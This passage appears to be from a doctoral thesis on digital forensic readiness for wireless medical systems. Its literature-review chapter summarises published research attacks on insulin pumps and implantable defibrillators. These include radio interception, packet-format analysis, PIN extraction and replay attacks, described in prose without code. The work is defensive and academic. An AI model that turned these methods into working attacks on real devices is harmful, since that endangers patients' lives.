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Abstract

The focus of this research is on the risks associated with wireless medical systems
(WMedSys) and devices in the healthcare environment. The deployment of
wireless communications in medical healthcare environments has rapidly
increased to meet the clinical requirements, and to have the benefits of mobility
and accessibility for everyone. Many medical devices such as telemetry, pulse
oximetry monitors, electrocardiography (ECG) carts, neuro-stimulators, infusion
pumps, insulin pumps, pacemakers, implantable cardioverter defibrillators (ICD)
and drug pumps use the wireless communication technologies for practical service
advantages. The wireless medical devices (WMedDs) allow mobility, continuous
monitoring of users’ health in real-time, and other service advantages. However,
these technology innovations are vulnerable to unplanned failure and intentional
disruption. In this thesis, the concern for patient safety is addressed by evaluating
current systems, designing improved systems, and advocating for better security
provisions.

The nature of wireless networking has inherited security and privacy
problems that transfer theoretically and practically to the medical healthcare
industry. The growth in wireless network deployments and devices has created the
problem of security vulnerabilities leading to potential patient harm. Many
incidences have been reported where service functionality, patient harm, and
intentional damage have occurred. For instance, Radcliffe (2011) demonstrated
hacking a commercially available wireless insulin pump, which controls the
insulin dosages for patients who have diabetes. Likewise, Halperin et al. (2008, p.
1) have performed a number of “software radio-based attacks” on implantable
cardioverter defibrillators (ICDs). Chapter 2 also reports three such cases. Such
types of attacks can compromise patient safety, patient privacy and negate the
expected benefits from using wireless technologies. Hence, the risks and concerns
in the problem area require detailed research and mitigation from working
solutions.

Design Science (DS) is adopted as the research methodology. DS has the
benefit of managing theory to build artefacts. These artefacts may be investigated

in context, and improvement by design and functionality through continuous



iterations and testing. Depending on the characteristics and the goals of the
research, a researcher can shape the processes to deliver innovative or
confirmatory outcomes. In this research, the DS research methodology is applied
to a design artefact extracted from the review of relevant past literature. It is then
put through rounds of testing that include confirmation, improvement, and expert
feedback. The purpose of DS is not only to develop an artefact but also to answer
the research questions and give solutions for problems. The main research
question is: “What can be improved to make digital forensic investigation more
effective in a wireless medical system?” The entry point of problem solving has
been adopted and the methods of testing, experiment and expert feedback are used
to formulate the artefact design. The key contribution of the research is to
innovate a forensically ready system that will preserve and make available digital
evidence (a costing of the system is provided in Appendix C).

The thesis is structured to provide a substantial literature review (see the
reference list pp. 187-246), a methodological explanation, the reported findings
from the confirmatory tests (see Appendix B data), reported findings from the
scenario tests (see Appendix E and Appendix F), and reported findings from the
expert feedback (see Appendix D). The research hypotheses are tested, and the
research questions are answered (see Chapter 8). The design for WMedSys is
presented as an improved solution to the research problem. The thesis concludes

with a summary and recommendations for further research.
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Figure 1.1: Roadmap of Chapter 1
Chapter 1 introduces the study and gives an overview of the plan and objectives.
Section 1 overviews the problems and challenges faced when wireless
technologies are introduced to medical environments. Section 2 elaborates the

motivation for this study which is patient safety. Section 3 presents the design



science methodology, the entry level artefact, and the data collection requirements.
Section 4 presents a brief review of the findings and the value of the improved
artefact which is a framework for better security and forensic practice. Section 5

concludes the Introduction by outlining the structure of the thesis.

1.1 PROBLEMS AND CHALLENGES

The focus of this research is on the risks associated with wireless medical devices
(WMedDs) in the medical healthcare environment. The deployment of wireless
communications in a medical healthcare environment has been rapidly increasing
to meet clinical requirements (Nita et al., 2011; Paquette, 2011; Topol, 2011).
Many medical devices such as telemetry, pulse oximetry monitors,
electrocardiography (ECG) carts, neuro-stimulators, infusion pumps, insulin
pumps, pacemakers, implantable cardioverter defibrillators (ICD) and drug pumps
use the wireless communication technologies for practical service advantages. The
WMedDs allow mobility, continuous monitoring of users’ health in the real-time,
and other service advantages (Arney et al., 2011; Sagahyroon et al., 2011; Ren et
al., 2010; Censi et al., 2010; Petkovi¢, 2009; Meingast et al., 2006).

However, the nature of wireless networking has inherited security and
privacy problems that transfer at least theoretically to the medical healthcare
industry (Hanna et al., 2011; Devaraj & Ezra, 2011; Censi et al., 2010). As a
result of the growth in wireless network deployments, and device usage, the
WMedDs have generated security vulnerabilities. Many have been reported where
service functionality, incidents to patients, intentional exploitation, and other
predictable compromise of the wireless devices and communication protocols, are
elaborated in detail. For instance, Radcliffe (2011) has demonstrated hacking
wirelessly in a commercially available insulin pump, which controls the insulin
dosages for patients who have diabetes. Likewise, Halperin et al. (2008, p. 1)
have performed a number of “software radio-based attacks” on implantable
cardioverter defibrillators (ICDs). Such types of attack can compromise patient
safety, patient privacy, and the expected benefits to be gained from the wireless
systems. Hence, the risks and concerns being raised as researchable issues have

been noted by others and cited as important risks to mitigate.



Currently, all level of policy and disciplinary protection is afforded to medical
practices to manage risk, but deaths can still occur through the mis-use of IT
systems. The security risk of WMedDs and WMedSys used in the medical
healthcare sector have been established in the literature (Cagalaban & Kim, 2011;
Gollakota et al., 2011; Arney et al., 2011; Hanna et al., 2011; Huang & Segal,
2011; Maisel & Kohno, 2010; Al Ameen et al., 2010; Denning et al., 2010;
Saleem et al., 2010; Fu, 2009; Malasri & Wang, 2009; Denning et al., 2009;
Zhang et al, 2003). Hence it is an area that requires further study and evaluation;
and reconsideration in terms of material risk to intended beneficial health services.
However, the current literature reviewed concerns preventing events occurring
and yet the same literature identifies serious shortcoming for protection when
using wireless networks and devices. Consequently, there needs to be post-event
capability in the form of forensically ready preparations.

This study offers evaluation for the design of another layer of security
protection for wireless medical systems and devices. The current literature is
concerned with pre-event protection and has little on post-event protection. The
literature supports the view that it is likely unintended events will occur more
frequently in a wireless system than a wired system, and that the occurrence in a
wireless system has a high probability. Post-event actions are generally termed as
“forensic investigations” (Rowlingson, 2004). A design science approach is to be
taken to design a more secure medical services system that includes both pre and
post event protection.

1.2 MOTIVATION FOR STUDY

The reading of literature alerted me to serious problems arising from the rush to
implement wireless medical systems (WMedSys) and the problems coming from
easy access to the systems. Of course vendors were keen to sell their products and
the medical community to use them because of the outstanding benefits provided.
Then, however, more than mistakes and incorrect usage became apparent in press
reports and academic research reports. Suspicious cases of irregular performance
of implantable devices and the case of a patient in a Paris hospital suffering
overdoses of insulin as the pump malfunctioned became news. Further

investigation showed external influence in these cases that may have had a



malicious intent. The entertainment industry then picked up these stories and
turned them into “who dunit” scripts. This meant TV had a series of CSI events
based on malicious hacking of WMedDs and also movies began to include the
concepts.

My motivation was to explore the factuality of these stories and to find by
laboratory research evidence for or against. My initial attempts to obtain used
hospital systems for research purposes was prevented by the lack of co-operation
from the vendors. Several high profile vendors were approached formally and
informally but they would not provide test equipment. They also viewed such
research as being unhelpful because all their medical equipment was being
produced under compliance conformance (for Health Insurance Portability and
Accountability Act or HIPAA of 1996). However, | persisted and set up a test bed
with simulated equipment as close as possible to the real context.

Principally my concern was to assure patient safety by providing
knowledge and information to inform best security practices. To do this I had to
extend the current literature knowledge base and do empirical testing and design
formulation. This was achieved by identification, exploitation and mitigation.
Most of the literature covered wireless security topics but only a small amount
forensic mitigation. Hence, | focused on the forensic capability and the readiness
of system for forensic investigation. My motivation was high as it was obvious
little had been done in this area and a significant contribution could be made. |
had a strong sense that patient wellbeing and protection could be improved by the

design of effective forensic capabilities.
1.3 RESEARCH METHODOLOGY

A design science research methodology (DSRM) is adopted and customised as the
most appropriate for a study that is at design level. The DSRM will deliver an
improved security artefact that includes forensic capability. Peffers et al. (2007, p.
1) has “a commonly accepted framework for design science research (DSR)” by
integrating “principles, practices, and procedures required to carry out DSR” in
information systems. The process elements are based on peer review and are

derived from previously published papers (Nunamaker et al., 1991; Walls et al.,



1992; Archer, 1984; Eekels & Roozenburg, 1991; Takeda et al., 1990; Rossi &
Sein, 2003; Hevner et al., 2004; Peffers, 2007).

The first process of the DSRM is the “problem identification and
motivation” as it is important to define the particular research problem that will be
employed in the development of an artefact and effective solution. The second
process of DSRM is to “define the objectives for a solution” from the definition of
the problem and knowledge of its feasibility. The objectives should be deduced
from the problem specification and they can be quantitative or qualitative. For
instance, the quantitative objective can be “a desirable solution would be better
than current ones” (Peffers et al., 2007, p. 55). Similar to the first process stage,
the knowledge of the state of problems and current solutions, if any, and their
efficacy are required as resources in the process stage. The third process is to
“design and develop” the artefact, which can be “constructs, models, methods, or
instantiations” or “new properties of technical, social or informational resources”
(Jarvinen, 2007, p. 49 cited in Peffers et al., 2007, p. 55). According to Peffers et
al. (2007), a conceptual design science (DS) artefact is an artefact in which a
research contribution is embedded in the design. The architecture and desired or
required functionality of the artefact is indispensable for creating the tangible
artefact, and therefore the theory knowledge is an essential resource in a solution.

The fourth process is the “demonstration” of the artefact application in
order to answer one or more cases of the problem by using “experimentation,
simulation, case study, proof or other appropriate means” (Peffers et al., 2007, p.
55). Thus, the effective knowledge of utilising the artefact to answer the problem
is an important resource in this process stage. The fifth process is the “evaluation”,
in which the artefact is assessed as to how well it provides a solution to the
problem. The effectiveness and efficiency can be observed and measured by
evaluating “the objectives of a solution to actual observed results from the use of
an artefact in the demonstration” (Peffers et al., 2007, p. 56). The evaluation
should be conceptually consistent with any suitable empirical or pragmatic
evidence or plausible proof. After completing the evaluation process, the
researchers can make a decision as to whether to iterate back to the third process
phase “to try to improve the effectiveness of the artefact or to continue on to

communication and leave further improvement to subsequent projects” (Peffers et



al., 2007, p. 56). The final process of the DSRM process model is the
“communication” (Archer, 1984; Hevner et al., 2004; Peffers, 2007, p. 56). Thus,
the problem, the significance of the problem, the artefact design, the utility and
novelty, the rigour of the artefact design and its effectiveness should be
communicated “to researchers and other relevant audiences such as practicing
professionals, when appropriate” (Peffers et al., 2007, p. 56). Similarly, the
outcome of DSR can be communicated in scholarly research publications.

The DSRM has four research entry points. These are: a problem-centred
initiation, an objective-centred solution, a design-and-development-centred
initiation and client-/context-initiated solution. Researchers can start their research
from any entry point although the proposed DSRM process model is planned in a
nominally sequential order (Peffers et al., 2007). In this research the vulnerability
problem of WMedSys is taken as the starting entry point and the identification of
previous designs the first artefact for improvement processes.

The research question that guides the investigation is:

“What can be improved to make digital forensic investigation more
effective in a wireless medical system?”
Subsequently, several related secondary or subordinate (sub) questions are

formulated in order to answer the main question.

Sub-Question 1: What are the potential risks (security and privacy) of
current WMedDs and WMedSys?

Sub-Question 2: What are current protection mechanisms to mitigate
security attacks related to a WMedSys?

Sub-Question 3: What are feasible protection mechanisms to improve

the design of WMedDs to mitigate security attacks related to a
WMedSys?

Sub-Question 4: What are the hardware and software required for the

successful acquisition of Digital Evidence (DE) from a WMedSys?



1.4 FINDINGS

The deliverable from this research is an improved digital forensic readiness
framework for use and implementation in WMedSys. It has been tested, costed
and industry appraised so that it is ready for implementing in practice. It was also
found that factual awareness of the vulnerability problem had been marginalised
by all the hype and dramatisation of the problem. I am now hopeful it can be
taken seriously again, and a working solution is presented. The continuous
publications during the course of this Thesis research have also promoted
awareness of solutions and gained credibility as a solvable research topic.

The evaluated artefact was further analysed in thematic groupings using
NVIVO software. Thematic analysis is a commonly used approach in conducting
qualitative data analysis in DS research. Qualitative methodologies aim to explore
complex phenomena (Vaismoradi, Turunen, & Bondas, 2013). Vaismoradi et al.
(2013) accept multiple realities and have a commitment to identifying an
approach to in-depth understanding of the phenomena, a commitment to
participants’ viewpoints, conducting inquiries with the minimum disruption to the
natural context of the phenomenon, and reporting findings in a literary style rich
in participant commentaries. Thematic analysis is a process for encoding
qualitative information (Boyatzis, 1998). This type of analysis looks mainly at
“what and how” the data say and aims at identifying patterns within the data.

The main contribution of this research is to present a novel conceptual
design for a DFR Framework which can be easily implemented and integrated to
the existing wireless networks in the healthcare sector. Thematic expert evaluation
analysis shows that the proposed artefact is efficient and effective in providing
better security for patient’s safety. The proposed artefact uses Pi-drones to collect
any user’s wireless attacks including successful, unsuccessful wireless login
attempts to the WMedSys and forwards them to a centralised logging system in
order to preserve digital forensic evidence. In addition, it provides low resource
requirements, with cost-effective and customisation benefits by adapting free
open-source software (See Appendix C financial analysis). Hence, it is suitable
for additional security risk mitigation and better patient safety. Nevertheless, it
also has several limitations. Although experts believe that the proposed

framework is only designed for WMedSys in 2.4 GHz band, the proposed



framework can easily apply to both 2.4 GHz and 5GHz by replacing the hardware
of the Pi-drone. For future work, the experts suggest that the proposed DFR
Framework needs to be implemented and tested in a controlled medical

environment to prove the functionality and reliability with big data sets.
1.5 STRUCTURE OF THESIS

The Thesis is structured to present a logical account of the completed research.
First there is a formalities section that introduces a reader to the topic and a brief
overview in the Abstract. To access the contents of the Thesis tables are provided
and a definitions listed for all abbreviations used. The body of the Thesis is
followed by the substantial list of references used, and Appendix that contain
specific technical detail of the experimental and compliance work undertaken in
testing. The content of each chapter is as follows:

e Chapter 1 provides an overview and introduction to the Thesis.

e Chapter 2 provides three case study reviews.

e Chapter 3 specifies wireless network and device features.

e Chapter 4 defines the security risks.

e Chapter 5 addresses related legislation and standards.

e Chapter 6 specifies the methodology used.

e Chapter 7 reports the Pilot Study and Scenario findings.

e Chapter 8 reports the expert feedback evaluation and improved artefact.

e Chapter 9 addresses the key issue of patient safety and propose a two-tier

security model.

e Chapter 10 concludes the Thesis and lists topics for further research.



Chapter Two

DISTURBING CASE EXAMPLES

2.0 INTRODUCTION

( )

Chapter 1 Introduction

e/
=]

Chapter 2 Disturbing Case

Examples

\e————————————————
]

Chapter 3 Wireless Medical

Devices and Networks

M ——————————————
==

Chapter 4 Security Risks

e ——————
==

Chapter 5 Wireless Network

Architecture and Standards

e —————
—————————=x

Chapter 6 Research
Methodology

e
Gl e )
Chapter 7 Pilot Study &

Scenario Findings

e ——————
——————————————x

Chapter 8 Expert Feedback

Evaluation

e/
———————=

Chapter 9 A Proposed Two-

Tier Security Model

T ————
——————————=x

Chapter 10 Summary and

Conclusion

oo/
=

References & Appendix

2.0 Introduction

2.1 Case 1: Hijacking an Insulin Pump:
Security Attacks and Defenses for a
Diabetes Therapy System

2.2 Case 2: Hacking Medical Devices for
Fun and Insulin: Breaking the Human
SCADA System

2.3 Case 3: Pacemakers and Implantable
Cardiac Defibrillator: Software Attacks
and Zero-Power Defenses

2.4 Conclusion

\ S

Figure 2.1: Roadmap of Chapter 2

Chapter 2 starts the substantial literature review required for this thesis by

identifying disturbing failures in wireless medical systems. Each example is taken

from public reports of vulnerabilities in the medical systems, and how the




vulnerabilities have been exploited. Patient safety is paramount but in these
examples the medical implanted and support equipment is shown to be vulnerable
to outsiders and to have unplanned consequences for well-being. .Hence, the
literature review in this chapter reviews three cases that demonstrate risk and
potential failure in WMedSys. These tangible concerns motivate the research,
define the problem area, and present the challenges for research.

2.1 CASE 1: Hijacking an Insulin Pump: Security Attacks and Defenses for a
Diabetes Therapy System

The research study was conducted by Li, Raghunathan and Jha (2011). According
to the national diabetes fact sheet (Centers for Diseases Prevention and Control,
2007, cited in Li et al., 2011, p. 150), there were "25.8 million people (8.3% of
population) live with diabetes™ in the United States. Li et al. (2011, p.150) state
that "there were around 245,000 insulin pump users in 2005" and the insulin
pump market was "expected to grow at a compound rate of 9% from 2009 to
2016". Hence, the wireless-enabled continuous glucose monitoring and insulin
delivery systems (CGMIDS) are currently being used for treating those patients
with diabetes (Figure 2.2).

b |/ Remote control
h

Figure 2.2: Insulin delivery system (Li et al., 2011, p. 152)
Even though such systems provide patients or users with “a better control over
blood glucose levels” and ““a better quality of life” (Li et al., 2011, p. 151), the
wireless links are vulnerable to security attacks. Wireless enabled systems are
well known for allowing security attacks by malicious computer users. However,
the security attacks on wearable and implantable medical devices can be
dangerous and have significant life-threatening or fatal consequences for patients.
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As a result, the vulnerabilities of such personal healthcare systems require
mitigation (Li et al., 2011, p. 150). The relevant questions are: "what if incorrect
blood glucose results are sent to the insulin pump wirelessly by malicious
attackers™ and "what if the attackers can control the insulin pump remotely and
stop the required insulin injection, or inject insulin at a much higher dose than
necessary". As a proof of concept Li et al. (2011) successfully launched planned
security attacks (both passive and active) on a wireless medical system
(CGMIDS).

One of the components of a CGMIDS is the insulin pump that
autonomously administers and supplies insulin in bolus and basal doses.
According to the requirements, the patient or device user can programme its
infusion time, rate and dosage. In order to “offer greater convenience and control
over blood glucose levels”, modern insulin pumps are usually equipped with four
programming and communication interfaces (as shown in Figure 2.2) such as
“buttons on the pump itself”, “wireless connection to a remote control”, “wireless
connection to a computer, used to upload data and/or manage the programming”
and “wireless connection to a blood glucose monitor” (Li et al., 2011, p. 151).
However, these wireless links are vulnerable to malicious attacks that can affect
the confidentiality, integrity and availability of the insulin delivery system.
However, when correctly used it can deliver a better quality of life for patients.

The research report goes in detail to explain the components used in the
descriptive experimental method that was used to perform passive and active
attacks on a commercial insulin delivery system. The components (Li et al., 2011,
p. 152) such as “a glucose meter, an insulin pump, a remote control, and a
Universal Software Radio Peripheral (USRP)” were used for experimental setup.
Hence, the frequency used by medical device under experiment was determined
by checking its Federal Communications Commission (FCC) identification. Then,
“a 915 MHz daughter board and antenna were attached to the USRP board” to
intercept and produce the frequency of 915 MHz for communication between the
insulin pump and the remote control (Figure 2.3). The modulated wireless signal
was intercepted and down-converted to the baseband in order to find the on-off

key used in the communication (Li et al., 2011).
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Remote control

Figure 2.3: Security attacks on an insulin delivery system (Li et al., 2011, p. 152)
For an insulin pump to receive data or accept control commands, the six digits or
PIN number (printed on the back of glucose meter or remote control) has to be
manually entered by the CGMIDS users. Hence, the researchers (Li et al., 2011,
pp. 152-153) intercepted the plaintext data from remote control to the glucose
meter after entering the PIN and were able to get access and to analyse the format
of 80-bits communication packet (Figure 2.4) used in the insulin delivery system
as soon as the sequence of on and off bits were synchronised. The 80-bit
communication packet comprises the first 40-bit representing the device type and
PIN. Likewise, the last 40-bit contains the payload information, counter, cyclic
redundancy check (CRC) and packet trailer (4 bits).

I 80 bits J‘

‘Device type‘ Device PIN ‘ Information ‘ counter ‘ CRC ‘ 0101 ‘

i 36 bits 12 bits | 12 bits I 12 bits |4 bits
R f : I 1 f fe 2

Figure 2.4: Format of the communication packet (Li et al., 2011, p. 153)
The first 40-bits of the packet can be decoded during the experiment, but
deciphering the last 40-bits is not a simple task. In fact, the deciphering a 36-bit
PIN can be performed by mappings between the information bits and the
corresponding hexadecimal digits (Li et al., 2011). Similarly, the authors
mentioned that the 12-bit counter could be found after the signal pattern repeated
256 counts and parameters for CRC calculation (Table 2.1) could be obtained
after several experiments were completed. Hence, the CRC parameters are
required to perform a replay attack or to reproduce “a legitimate packet that will

be accepted by the insulin pump” (Li et al., 2011, p. 153). However, the authors
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did not disclose some of the CRC parameters (CRC polynomial and final XOR
values) due to security reasons and replaced the symbols with “x”. Moreover, the
researchers did not validate the communication protocol format between the
insulin pump and glucose monitor, although the format of communication packet
between the remote control and glucose meter was successfully parsed in the
research.
Table 2.1: CRC parameters for the remote control and glucose meter
(Lietal., 2011, p. 153)

Parameters Remote Control Glucose Metre
CRC order 8

CRC polynomial
Initial value

Final XOR value
Reverse data bytes
Reverse CRC

Z|Z2|x|o|x |
Z| 2% |o|x

Li et al. (2011, pp. 153-154) classified potential attacks into two categories as
“attacks without the knowledge of the device PIN” and “attacks with the
knowledge of the device PIN”. Such attacks could compromise the privacy of
patients, data integrity and availability. Furthermore, the authors (Li et al., 2011,
154) documented the ways in which the medical device PIN could be obtained
through “peeking at the printed PIN” and “insider information from the device
manufacturing or supply chain”, instead of eavesdropping on the wireless

communication links.

In the research, the attack experiments were first initiated by determining
the maximum distance (4.5 metres) from where the insulin pump could be
programmed by the remote control. Then, the passive eavesdropping attack was
conducted when the remote control was communicating with the insulin pump
within 7-8 meters (without having any obstacle between the devices). The “device
type, device PIN and control command sent to the insulin pump” were
successfully extracted (Li et al., 2011, p. 154). Subsequently, an active attack was
performed by using an off-the-shelf USRP device and PIN (extracted by
eavesdropping in a passive attack) to control the pump with unauthenticated
commands. Unlike a passive attack, the active attack could be carried out from 20
meters away to manipulate the injection of insulin to the patient (Li et al., 2011).

Afterwards, the authors discussed two possible countermeasures against such
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security attacks. One of the proposed countermeasures (Li et al., 2011, p. 154) is
applying rolling code base cryptography (used in current security protocols in
automobile keyless entry) to the insulin delivery system (Figures 2.5a and 2.5b).
The purpose of applying the proposed cryptographic method is to protect the
extraction of medical device’s PIN from eavesdropping wireless links and replay
attacks. The transmitted information can be encrypted, and the rolling code can be
changed every time (Li et al., 2011). However, the authors did not implement or

verify the proposed cryptographic method in this article.

Remote control’s

Ke
sequence counter .
Transmitted data
Information bits

(i.e., control command)

Figure 2.5a: Proposed rolling code encoder in the remote control (Li et al., 2011, p.

154)
Insulin pump’s
Received data
Snfrance eaurtag Comparison: whether
within a range
Ke Received counter value - N
Decryption L i W

Received information
. = Accept Drop

(i.e., cantrol command)

Figure 2.5b: Proposed rolling code decoder in the insulin pump (Li et al., 2011, p. 154)
The second proposed countermeasure (Li et al., 2011, p. 155) against the
previously demonstrated attacks is the use of “human body as the transmission
medium to enable wireless communication, referred to as body-coupled
communication (BCC)” in CGMIDS. BCC can prevent interference and consume
less power due to the data communications happening within a close vicinity of
the patient’s body when the insulin pump and the glucose meter are attached
directly to the patient for monitoring and insulin injection. The authors (Li et al.,
2011, pp. 155-156) conducted BCC experiments by using a function generator
and USRP as a transmitter and a receiver respectively along with the electrodes
and mid-wave/short-wave active antenna to lessen the security attack problems.
Further attack experiments are required to be performed on each device to verify
whether BCC is possible to enhance the security.

This article and case study identified vulnerabilities and successfully

launched security attacks (both passive and active) on a wireless glucose
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monitoring and insulin delivery system to demonstrate such attacks could
destabilise the operation of a system and jeopardise the patient’s life. Furthermore,
Li et al. (2011, pp. 154-156) proposed two feasible protection mechanisms, “the
use of rolling code-based encryption” and “the concept of BCC” to mitigate

security attacks related to personal health systems.

2.2 CASE 2: Hacking Medical Devices for Fun and Insulin: Breaking the
Human SCADA System

This paper was presented at the “Black Hat Security Conference in the United
States of America” in 2011. The research was motivated by the author attending a
presentation related to the hacking on a smart parking meter at Defcon 2009
conference and "researching the Stuxnet malware” in his professional job
(Radcliffe, 2011, p.2).

The author (Radcliffe, 2011, p. 1) stated that more flexibility, "better
control over insulin delivery" and "more data can be captured to help make better
decisions for treatment”, were the main advantages of using the wireless-enabled
insulin pump, and the continuous glucose monitor (GCM). Furthermore, Radcliffe
(2011, p. 2) observed the way in which “regulating blood sugar to insulin ration"
is similar to the Supervisory Control and Data Acquisition (SCADA temperature
control) system in a chemical plant that “has a tank of liquid or gas that needs to
keep at a stable elevated temperature”. Patients with diabetes need to maintain
blood sugar (glucose) within a specified range of 90-120 milligram/decilitre.
Otherwise, the excessive amount or dangerously low level of glucose can initiate
hyperglycaemia and hypoglycaemia, correspondingly. The author subsequently
explained a Stuxnet problem that was speculated in such a way that "malware
payload manipulated how fast a centrifuge would spin, ultimately causing them to
spin faster than they were designed to go and destroying them" (Radcliffe, 2011,
p. 2). Analogous to Stuxnet, the incorrectly reported glucose level manipulated by
a malicious programme or attacker could potentially lead to hypoglycaemia.
Hence, the hypoglycaemia is a serious problem with a low glucose level if the
insulin dosage is high or too low, and it can possibly lead patients to “coma and
death if left untreated" (Radcliffe, 2011, p. 2).

In this descriptive research, Radcliffe (2011, p. 3) firstly initiated the
experiment as a penetration test by conducting reconnaissance to gather data
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relating to an “insulin pump and CGM devices” from user manuals. After
examining the user manuals, the researcher (Radcliffe, 2011, p. 3) obtained the
precise frequencies and modulation methods used by “insulin pump (916 MHZ On-
Off Keying, i.e. referred to as OOK)” and “CGM (402.142 MHz On-Off Keying)”.
Similarly, the researcher performed data gathering from the FCC website by using
the medical device’s unique identification (ID) number and the patent office’s
website by using the name of the medical device manufacturer. Hence, FCC
information provided the researcher (Radcliffe, 2011, p. 3) the transmission
analysis of wireless devices in detail “including screen captures from spectrum
analysers and oscilloscopes”. Likewise, the information from patent documents
using the devices, presented the researcher with how the devices were built and
functioned (Radcliffe, 2011, p. 3). Therefore, the information gathered from
different available sources facilitated finding suitable equipment operating in the
same frequencies as the insulin pump and CGM devices for the research
experiment.

Secondly, the radio frequency (RF)/wireless module was compromised by
an Arduino. One of the reasons why the Arduino RF module was selected for this
research was that it utilised the “CC1101 wireless chip that operates on the
315/433/868/915 MHz Industrial, Scientific and Medical (ISM)/Short Range
Device (SRD) bands” (Radcliffe, 2011, p. 4). Hence, the operating frequencies of
the RF module were closely matched with the medical devices under testing.
Thirdly, the author stated the configuration of the CC1101 module operated in the
same frequency with the OOK modulation method as those of the medical devices
targeted, but it is challenging to get the required information from the CC1101
manual. However, the OOK is very close to “ham radio communication format,
Morse code or continuous wave modulation” and it can easily be analysed by
using “an oscilloscope or logic analyser” to record the signal into a binary stream
(Radcliffe, 2011, p. 4). Afterwards, the problem with understanding of Preamble
and Sync Word parameters settings used in the CC1101 was acknowledged as
there was no information related to those two parameter settings in the
documentation. Preamble is in the length of "2 to 32 bytes”, and Sync Word is
ranging from "8 to 32 bytes" of predetermined high and low words in hexadecimal

format (Radcliffe, 2011). The purpose of Preamble is to let the receiving device
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acknowledge that a transmission can be easily distinguished. Similarly, the
purpose of Sync Word is to verify that the transmission from CC1101 is in a
standard format and to inform the receiving end that "the transmission is from a
known transmitter” (Radcliffe, 2011, p. 4). Hence, the author solved the problem
with an understanding of Preamble and Sync Word after finding out the data sheet
of RF chip used by the receiver unit of the CGM system.

Furthermore, configuring the CC1101 RF module into “Direct Mode or
Serial Mode” by using two pins (one for data and the other for clock signal)
allowed Radcliffe (2011, p. 5) to manually decipher the transmitted data. With
regard to the CGM, some of the known features such as the small packet size of
76 bits, the data transmission rate (“once every five minutes”) and a unique
identifier (“5 characters”) of the transmitter were discussed (Radcliffe, 2011, p.
6). Then, the author explained that the unique identifier could be extracted from
the consistent portion of each data stream. However, the insulin pump under
experiment required logging of the data set to “HIGH” instead of “NONE” to get
detail “message information and responses with the device” (Radcliffe, 2011, p.
7). Information regarding how the transmitted data was encoded, what the format
of the message was, and the insulin pump’s command codes were obtained from
the Java library files (Radcliffe, 2011).

In addition, the security concerned with the CGM and the insulin pump
was defined. For instance, a traditional computer attack, such as replay attack are
feasible against the medical devices. Similarly, eavesdropping or spoofing of the
transmitted signal between devices to find out the serial number or unique
identifier of a CGM could easily be performed by malicious attackers if the
format of the message and method of encoding were known (Radcliffe, 2011). On
the other hand, the serial number of the insulin pump could also be obtained by
using a social engineering attack even though the pump has little problem with
passive eavesdropping attacks. Likewise, falsifying or manipulating the glucose
level is possible by using replay attacks when the transmitted data format was
unknown. However, there are some factors that make the replay attack against
CGM difficult. The factors (Radcliffe, 2011, p. 8) such as the transmission range
(“within 100 to 200 feet from the CGM device”), calibration measurement prompt

to the patient or device user (“normally done with a blood glucose meter”), and
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taking a longer time or hours to manipulate the sensor data, could actually
mitigate the possibility of a successful attack against a CGM device.

With the insulin pump attack, Radcliffe (2011, p. 8) stated that the
"unknown manipulation of configuration settings™ on the insulin pump could
threaten patients’ lives. Additionally, the theoretically defined attacks can be
performed with the use of wireless radio peripherals communicating with the
insulin pump. Also, the command codes and message format of the insulin pump
can easily be found on the Internet, as such information is published on different
websites, although the manufacturer does not release it directly (Radcliffe, 2011).
Nevertheless, attack limitations mentioned in this article include "the range on an
insulin pump's wireless ability" and the way in which "acquiring the serial
number of the insulin pump target" (Radcliffe, 2011, p. 8). These limitations can
limit the possibility of an attack and hence it is feasible to mitigate impacts.

Finally, the author discussed future research direction and challenges.
Radcliffe (2011) stated that more research needed to be done in order to protect
WMedDs and related data. The purpose of the research was to disclose and verify
the vulnerabilities of WMedDs. Even though the data manipulating attack (active)
against the author’s CGM and insulin pump is not practically demonstrated in this
research, the author explains how to gather information and collect necessary

hardware devices to initiate successful passive attacks against WMedDs.

2.3 CASE 3: Pacemakers and Implantable Cardiac Defibrillator: Software
Radio Attacks and Zero-Power Defenses

Halperin et al. (2008) conducted a research experiment to evaluate the
characteristics of security and privacy of an implantable cardioverter defibrillator
(ICD) in the article “Pacemaker and Implantable Cardiac Defibrillator: Software
Radio Attacks and Zero-Power Defenses”. According to the study of Food and
Drug Administration (FDA) annual reports on Pacemaker and ICD generator
malfunctions (Maisel et al., 2006, cited in Halperin et al., 2008, p. 1), there were
“over 2.6 million” patients implanted with pacemakers and ICDs in the United
States between 1990 and 2002. These wireless-enabled implantable medical
devices (examples: pacemakers, ICDs, neurostimulators, implantable drug pumps)
are generally used for monitoring and treating patients with chronic diseases by
applying automatic therapies (Halperin et al., 2008). Although there are the
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benefits, such as improvements in quality and life-saving opportunities for
patients” by using such implantable medical devices (IMDs), vulnerabilities to
malicious attacks still exist. Hence, the researchers (Halperin et al., 2008, pp. 1-2)
performed software radio attacks that “changes the operation of (and the
information contained in) the ICD” and presented “prototype defences against the
attacks”.

In this descriptive research, the researchers initially found the
contributions of the research by evaluating the security and privacy of an ICD and
stressed the device by using different types of security attacks to compromise
privacy, integrity and availability (see Table 2.2). The key distributions (Halperin
et al., 2008, p. 1) provided “a scientific baseline for understanding the potential
security and privacy risks of current and future IMDs”. They also introduced
“human-perceptible and zero-power mitigation techniques”. The attack
experiments were initiated by using a software radio and an ICD programmer to
present the ways in which an ICD could be exploited. By applying numerous
eavesdropping and reverse engineering techniques to intercept and understand the
wireless communication between an ICD and its programmer, the researchers
(Halperin et al., 2008, pp. 2-4) successfully extracted “patient information (such
as name and diagnosis) and medical telemetry (information about vital signs)”.

Table 2.2: Results of experimental attacks and a check mark indicates a successful
attack (Halperin et al., 2008, p. 3)

Commercial | Software radio | Software radio | Primary

programmer | eavesdropper | programmer risk
Determine whether patient has an ICD v v v Privacy
Determine what kind of ICD patient has v v v Privacy
Determine ID (serial #) of ICD v v v Privacy
Obtain private telemetry data from ICD v v v Privacy
Obtain private information about patient history v v v Privacy
Determine identity (name, etc.) of patient v v v Privacy
Change device settings v v Integrity
Change or disable therapies v v Integrity
Deliver command shock v v Integrity

2.4 CONCLUSION

These three cases have shown the vulnerability of wireless medical systems from
other people’s research reports. Their experiments have exposed vulnerabilities
and mitigating features in current architectures that impact patient health and

safety. These are disturbing cases and motivation for further technical study and
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solution development. Chapter 3 will now summarise specific applications that
rely on wireless connections in the medical environment in order to assess the

technical scope of the problem area.
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Figure 3.1: Roadmap of Chapter 3

Chapter 2 has elaborated three disturbing cases where the dangers of wireless

medical systems were made apparent. Chapter 3 will now focus on specific
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medical applications that rely on wireless connections for their services. The
